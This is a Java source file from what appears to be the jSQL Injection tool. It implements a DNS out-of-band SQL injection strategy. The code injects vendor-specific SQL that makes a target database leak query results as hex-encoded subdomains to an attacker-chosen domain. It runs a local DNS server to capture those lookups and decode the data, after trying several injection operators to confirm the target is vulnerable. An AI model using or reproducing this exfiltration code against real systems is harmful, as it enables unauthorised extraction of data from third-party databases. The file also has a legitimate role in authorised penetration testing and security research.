StrategyDns.java

/*******************************************************************************
 * Copyhacked (H) 2012-2025.
 * This program and the accompanying materials
 * are made available under no term at all, use it like
 * you want, but share and discuss it
 * every time possible with every body.
 *
 * Contributors:
 *      ron190 at ymail dot com - initial implementation
 *******************************************************************************/
package com.jsql.model.injection.strategy;

import com.jsql.model.InjectionModel;
import com.jsql.model.accessible.ResourceAccess;
import com.jsql.model.bean.util.Interaction;
import com.jsql.model.bean.util.Request;
import com.jsql.model.exception.StoppedByUserSlidingException;
import com.jsql.model.injection.strategy.blind.AbstractInjectionBit.BlindOperator;
import com.jsql.model.injection.vendor.model.VendorYaml;
import com.jsql.model.suspendable.AbstractSuspendable;
import com.jsql.util.I18nUtil;
import com.jsql.util.LogLevelUtil;
import com.jsql.util.StringUtil;
import org.apache.commons.lang3.StringUtils;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

import java.util.regex.Pattern;

public class StrategyDns extends AbstractStrategy {

    private static final Logger LOGGER = LogManager.getRootLogger();
    private BlindOperator blindOperator;
    private final DnsServer dnsServer;

    public StrategyDns(InjectionModel injectionModel) {
        super(injectionModel);
        this.dnsServer = new DnsServer(injectionModel);
    }

    @Override
    public void checkApplicability() throws StoppedByUserSlidingException {
        if (this.injectionModel.getMediatorUtils().getPreferencesUtil().isStrategyDnsDisabled()) {
            LOGGER.log(LogLevelUtil.CONSOLE_INFORM, AbstractStrategy.FORMAT_SKIP_STRATEGY_DISABLED, this.getName());
            return;
        } else if (
            StringUtils.isBlank(this.injectionModel.getMediatorUtils().getPreferencesUtil().getDnsDomain())
            || !StringUtils.isNumeric(this.injectionModel.getMediatorUtils().getPreferencesUtil().getDnsPort())
        ) {
            LOGGER.log(
                LogLevelUtil.CONSOLE_INFORM,
                "Incorrect domain '{}' or port '{}', skipping Dns strategy",
                this.injectionModel.getMediatorUtils().getPreferencesUtil().getDnsDomain(),
                this.injectionModel.getMediatorUtils().getPreferencesUtil().getDnsPort()
            );
            return;
        } else if (
            StringUtils.isEmpty(this.injectionModel.getMediatorVendor().getVendor().instance().getModelYaml().getStrategy().getDns())
        ) {
            LOGGER.log(
                LogLevelUtil.CONSOLE_INFORM,
                AbstractStrategy.FORMAT_STRATEGY_NOT_IMPLEMENTED,
                this.getName(),
                this.injectionModel.getMediatorVendor().getVendor()
            );
            return;
        }

        this.checkInjection(BlindOperator.OR);
        this.checkInjection(BlindOperator.AND);
        this.checkInjection(BlindOperator.STACK);
        this.checkInjection(BlindOperator.NO_MODE);

        if (this.isApplicable) {
            this.allow();
        } else {
            this.unallow();
        }
    }

    private void checkInjection(BlindOperator blindOperator) {
        if (this.isApplicable) {
            return;
        }
        this.blindOperator = blindOperator;
        LOGGER.log(
            LogLevelUtil.CONSOLE_DEFAULT,
            "{} [{}] with [{}]...",
            () -> I18nUtil.valueByKey(AbstractStrategy.KEY_LOG_CHECKING_STRATEGY),
            this::getName,
            () -> blindOperator
        );
        String vendorSpecificWithOperator = this.injectionModel.getMediatorVendor().getVendor().instance().sqlDns(
            String.format(
                "(select concat('', %s))",
                this.injectionModel.getMediatorVendor().getVendor().instance().getModelYaml().getStrategy().getConfiguration().getFailsafe().replace(VendorYaml.INDICE, "1")
            ),
            "1",
            blindOperator,
            false
        );

        new Thread(this.dnsServer::listen).start();
        this.injectionModel.injectWithoutIndex(vendorSpecificWithOperator, "dns#confirm");
        this.waitDnsResponse(2500);

        var domainName = this.injectionModel.getMediatorUtils().getPreferencesUtil().getDnsDomain();
        this.isApplicable = this.dnsServer.getResults().stream().anyMatch(
            s -> s.contains(domainName) && s.contains(StringUtil.toHex(ResourceAccess.WEB_CONFIRM_RESULT))
        );
        if (this.isApplicable) {
            this.dnsServer.getResults().clear();
            LOGGER.log(
                LogLevelUtil.CONSOLE_SUCCESS,
                "{} [{}] with [{}]",
                () -> I18nUtil.valueByKey(AbstractStrategy.KEY_LOG_VULNERABLE),
                this::getName,
                this.blindOperator::name
            );
        } else {
            this.dnsServer.close();
        }
    }

    @Override
    public void allow(int... i) {
        this.injectionModel.appendAnalysisReport(
            StringUtil.formatReport(LogLevelUtil.COLOR_BLU, "### Strategy: " + this.getName())
            + this.injectionModel.getReportWithoutIndex(
                this.injectionModel.getMediatorVendor().getVendor().instance().sqlDns(
                    StringUtil.formatReport(LogLevelUtil.COLOR_GREEN, "<query>"),
                    "1",
                    this.blindOperator,
                    true
                ),
                "metadataInjectionProcess",
                null
            )
        );
        this.markVulnerability(Interaction.MARK_DNS_VULNERABLE);
    }

    @Override
    public void unallow(int... i) {
        this.markVulnerability(Interaction.MARK_DNS_INVULNERABLE);
    }

    @Override
    public String inject(String sqlQuery, String startPosition, AbstractSuspendable stoppable, String metadataInjectionProcess) throws StoppedByUserSlidingException {
        new Thread(() -> this.injectionModel.injectWithoutIndex(
            this.injectionModel.getMediatorVendor().getVendor().instance().sqlDns(
                sqlQuery,
                startPosition,
                this.blindOperator,
                false
            ),
            metadataInjectionProcess
        )).start();
        this.waitDnsResponse(5000);

        String result = this.dnsServer.getResults().get(0);
        var domainName = this.injectionModel.getMediatorUtils().getPreferencesUtil().getDnsDomain();
        String regexToMatchTamperTags = String.format("(?i).{3}\\.([a-z0-9]*)\\..{3}\\.%s\\.", domainName);
        var matcherSql = Pattern.compile(regexToMatchTamperTags).matcher(result);
        if (matcherSql.find()) {
            result = matcherSql.group(1);
        } else {
            LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Incorrect DNS response: {}", result);
        }
        this.dnsServer.getResults().clear();
        return StringUtil.fromHex(result);
    }

    private void waitDnsResponse(int maxTime) {
        int currentTime = 0;
        while (this.dnsServer.getResults().isEmpty() && currentTime <= maxTime) {
            try {
                int waitTime = 250;
                Thread.sleep(waitTime);
                currentTime += waitTime;
            } catch (InterruptedException e) {
                LOGGER.log(LogLevelUtil.IGNORE, e, e);
                Thread.currentThread().interrupt();
            }
        }
        if (currentTime > maxTime) {
            LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Missing DNS response after {} ms", maxTime);
        }
    }

    @Override
    public void activateWhenApplicable() {
        if (this.injectionModel.getMediatorStrategy().getStrategy() == null && this.isApplicable()) {
            LOGGER.log(
                LogLevelUtil.CONSOLE_INFORM,
                "{} [{}] with [{}]",
                () -> I18nUtil.valueByKey("LOG_USING_STRATEGY"),
                this::getName,
                this.blindOperator::name
            );
            this.injectionModel.getMediatorStrategy().setStrategy(this);

            var request = new Request();
            request.setMessage(Interaction.MARK_DNS_STRATEGY);
            this.injectionModel.sendToViews(request);
        }
    }
    
    @Override
    public String getPerformanceLength() {
        return VendorYaml.DEFAULT_CAPACITY;
    }
    
    @Override
    public String getName() {
        return "Dns";
    }
}